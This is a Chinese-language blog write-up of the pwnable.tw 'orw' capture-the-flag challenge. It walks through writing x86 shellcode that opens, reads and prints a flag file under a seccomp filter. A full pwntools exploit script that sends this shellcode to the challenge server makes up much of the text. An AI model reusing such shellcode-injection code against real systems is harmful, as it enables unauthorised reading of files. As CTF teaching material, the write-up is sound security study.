文章目录
  1. 1. 0x00 序
  2. 2. 0x01 分析
  3. 3. 0x02 总结
  4. 4. 0x03 参考

pwnable.tw 上的第二道题,考察的就是shellcode的编写(汇编代码)能力


0x00 序

这个题没有什么弯路,就是看你自己shellcode和汇编的能力

题目相关文件:https://github.com/Reshahar/BlogFile/tree/master/pwnable.tw-orw

0x01 分析

首先还是使用IDA看一下程序,代码如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+4h] [bp-4h]@0
int savedregs; // [sp+8h] [bp+0h]@0
int savedregs_4; // [sp+Ch] [bp+4h]@0

orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (__stdcall *)(int, int, int))shellcode)(v4, savedregs, savedregs_4);
return 0;
}

程序的功能就是让你放置shellcode然后执行,而pwnable.tw上说了只能使用orw(open,read,write)函数去读去 “/home/orw/flag” 的内容,直接写汇编可能有点难度,所以还是先用C语言实现一下,然后参考C语言的流程再用汇编实现,可能更好,当然如果你的汇编能力极强可以直接写

我写的C语言程序如下:

//在/home/orw/下创建flag文件
#include <unistd.h>  
#include <stdio.h>
#include <fcntl.h>  

int main()
{
    int fd;
    char buf[100]={0};
    fd = open("/home//orw//flag",0,0);

    read(fd,buf,100);

    write(1,buf,100);

    close(fd);
}

编译运行,结果如下

root@kali:~/D/other/asm_program/pwnable.tw-orw# ./test
FLAG{123123}

然后就使用汇编实现了,c语言调用函数不适合汇编,汇编编写的时候要用int 0x80系统调用

sys_read    调用号3
sys_write   调用号4
sys_open    调用号5

使用pwntools的asm功能,完整的exp如下:

#filename:exp.py
#author: reshahar

from pwn import *
#p = process('./orw')
p = remote('chall.pwnable.tw',10001)

sh =  asm('sub esp,100')    
sh += asm('xor ecx,ecx')
sh += asm('xor edx,edx')
sh += asm('xor eax,eax')
sh += asm('xor ebx,ebx')
sh += asm('push ecx')
sh += asm('push 0x67616c66')        #string '/home//orw//flag'
sh += asm('push 0x2f2f7772')
sh += asm('push 0x6f2f2f65')
sh += asm('push 0x6d6f682f')
sh += asm('mov ebx,esp')
sh += asm('mov al,5')
sh += asm('int 0x80')               #call open()
sh += asm('nop')
sh += asm('mov ebx,eax')
sh += asm('mov ecx,esp')
sh += asm('mov edx,60')
sh += asm('mov eax,3')
sh += asm('int 0x80')               #call read()
sh += asm('nop')
sh += asm('mov ebx,1')
sh += asm('mov edx,60')
sh += asm('mov eax,4')
sh += asm('int 0x80')               #call write()
sh += asm('nop')
sh += asm('add esp,120')            #stack balance 
sh += asm('ret')

p.send(sh)

# f = open ('1','wb')
# f.write(sh)

p.recvuntil('Give my your shellcode:')

print p.recv(60)

0x02 总结

调试很重要,如果shellcode不正常,调试就是最好的解决办法,仅靠大脑去推算是不行

0x03 参考

[1]:http://blog.csdn.net/xiaominthere/article/details/17287965 Linux系统调用 int 80h int 0x80
[2]:http://lobert.iteye.com/blog/1705861 linux c学习笔记—-文件的创建与读写(open,read,write)

文章目录
  1. 1. 0x00 序
  2. 2. 0x01 分析
  3. 3. 0x02 总结
  4. 4. 0x03 参考